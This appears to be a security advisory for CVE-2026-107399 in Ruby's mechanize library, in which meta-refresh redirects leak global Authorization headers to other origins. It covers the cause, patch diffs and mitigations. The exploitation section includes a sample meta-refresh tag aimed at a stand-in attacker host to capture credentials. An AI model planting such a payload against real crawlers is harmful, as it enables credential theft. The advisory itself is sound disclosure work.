CVE-2026-107399: Information Disclosure via HTML Meta-Refresh in Ruby Mechanize

CVE-2026-107399 identifies an information disclosure vulnerability in the Ruby mechanize library, which is commonly used to automate programmatic interactions with websites. When the Mechanize#follow_meta_refresh configuration option is enabled, the agent fails to establish or enforce an origin trust boundary when handling HTML-based <meta http-equiv="refresh" ...> redirects (meta refreshes). This structural flaw permits cross-origin exfiltration of credentials to unvalidated external targets.\n\nUnder vulnerable configurations, if an automated crawl or scraping process encounters a webpage containing a meta-refresh tag pointing to an external origin, the globally configured headers set via Mechanize#request_headers= are unconditionally re-applied and transmitted to the destination server. These headers often contain highly sensitive credentials, such as HTTP Authorization Bearer tokens, API keys, or custom cookies. An adversary hosting a malicious website can capture these credentials and compromise the client's session state on trusted third-party applications.\n\nThe vulnerability arises due to structural gaps in the legacy redirect architecture of the library. While HTTP 3xx-level redirects implemented strict domain validation to strip cross-origin headers, meta-refresh elements were parsed and executed via an independent code path that completely lacked these protections.

The root cause of this vulnerability lies in the separation of the redirect processing paths inside the Mechanize::HTTP::Agent class. Standard HTTP-level redirects (such as 301, 302, 303, and 307 responses) are evaluated against origin boundaries. When the host of an HTTP redirect target changes, the library drops sensitive headers like Authorization and custom cookies to prevent cross-origin disclosure.\n\nIn contrast, HTML-level meta-refreshes are parsed from the response body of a document. When follow_meta_refresh is configured to true, Mechanize extracts target redirection URLs from parsed HTML <meta> elements. The original implementation of Mechanize::HTTP::Agent#response_follow_meta_refresh fetched this target URL without executing any origin-boundary verification.\n\nBecause global agent configuration headers defined in @request_headers were re-applied dynamically on every invocation of #fetch, the subsequent HTTP request to the third-party destination inherited the sensitive headers in full. This design introduced secondary attack vectors where dropped credentials could be re-injected on subsequent hops, such as during multi-hop redirects, HTTP 401 Authorization Retries, or double meta-refreshes.

The remediation was addressed in a sequence of patches committed to the mechanize codebase and released in version 2.14.1. In the first patch (commit 84c74df87d15f5d119df268ba6aa79bc1e16a2c3), the agent was modified to calculate whether a meta-refresh crosses origin boundaries using the existing crosses_origin? utility helper:\n\ndiff\n@@ -981,7 +981,8 @@ def response_follow_meta_refresh response, uri, page, redirects\n sleep delay\n @history.push(page, page.uri)\n fetch new_url, :get, {}, [],\n- Mechanize::Page.new, redirects + 1\n+ Mechanize::Page.new, redirects + 1,\n+ crosses_origin?(uri, new_url)\n\n\nTo prevent the re-injection of credentials across redirect hops (where global request headers were previously re-merged unconditionally), commit 02a1235842d6eda8d4a5a3d8f13aba2cecf52e4f refactored the header application lifecycle. Global headers are now merged into the transaction-specific header hash only once at the beginning of the transaction:\n\nruby\n# Merged only once at the start of the operation\nheaders = @request_headers.merge headers if apply_request_headers\n\n\nDuring subsequent meta-refreshes, the headers are statefully checked, and sensitive headers are deleted if crosses_origin? evaluates to true:\n\nruby\nheaders = headers.dup\nheaders.delete_if { |h, _| drop_after_redirect? h, crosses_origin?(uri, new_url) }\n\nfetch new_url, :get, headers, [],\n Mechanize::Page.new, redirects + 1, false\n\n\nFinally, commit 6ce26d2a6a28248efa75a73b11c2d8c1f6a41b2e normalized header keys to enforce case-insensitive matching and canonicalization, preventing symbol-based headers (e.g., :authorization) from bypassing the drop checks.

To exploit this vulnerability, an attacker must host a malicious webpage that is visited by an automated Mechanize-based client. The client must have follow_meta_refresh enabled and must configure sensitive global headers. The attacker does not need authentication to trigger the exploit.\n\nWhen the client requests the attacker's page, the server returns an HTML response containing a meta-refresh redirect directive:\n\nhtml\n<meta http-equiv=\"refresh\" content=\"0;url=https://attacker-controlled-site.com/capture\">\n\n\nUpon receiving this document, the Mechanize client parses the HTML, identifies the redirect instruction, and initiates a secondary GET request to the attacker-controlled origin. Prior to the patch, the client would preserve and transmit all globally set headers (including Bearer tokens, cookies, and API keys) to the external destination.\n\nmermaid\ngraph LR\n client[\"Mechanize Client\"] -->|\"1. Request to Trusted Site\"| trusted[\"trusted.example.com\"]\n trusted -->|\"2. Open Redirect / Malicious Page\"| client\n client -->|\"3. Meta-Refresh to External Origin\"| attacker[\"attacker.example.com\"]\n client -.->|\"4. Exfiltrates Authorization Header\"| attacker\n\n\nThe attacker's web server logs all incoming request headers, successfully harvesting the authentication material. This exfiltration process occurs fully automatically without requiring user interaction.

The CVSS v3.1 base score for this vulnerability is 6.8 (Medium severity), with the vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N. Because the scope is changed (S:C), the credentials scoped for a secure domain can transition to an unauthorized domain.\n\nThe primary impact is the complete loss of confidentiality for session identifiers and authorization headers. Since Mechanize is widely utilized in back-end background tasks, web scrapers, and automated API crawlers, compromised tokens often hold elevated, administrative, or service-to-service access levels.\n\nThere is no direct impact on system integrity or availability, as the vulnerability does not support arbitrary code execution or service disruption on the host running the crawler. However, the exfiltrated session credentials can be used to perform downstream unauthorized actions against authenticated services.

The definitive mitigation is to upgrade the mechanize library to version 2.14.1 or higher. This release integrates the secure origin-boundary checks, stateful credential tracking, and case-insensitive header normalization.\n\nIf upgrading is not immediately possible, developers can work around the vulnerability by disabling meta-refresh following. This feature is disabled by default in the library, but if it has been explicitly enabled, it should be set to false:\n\nruby\nagent = Mechanize.new\nagent.follow_meta_refresh = false\n\n\nFurthermore, developers should avoid setting sensitive authentication tokens globally via agent.request_headers=. Instead, pass authentication headers explicitly as part of individual, target-validated requests:\n\nruby\n# Pass headers on a per-request basis to limit exposure\nagent.get('https://trusted.example.com/api', {}, nil, { 'Authorization' => 'Bearer token' })\n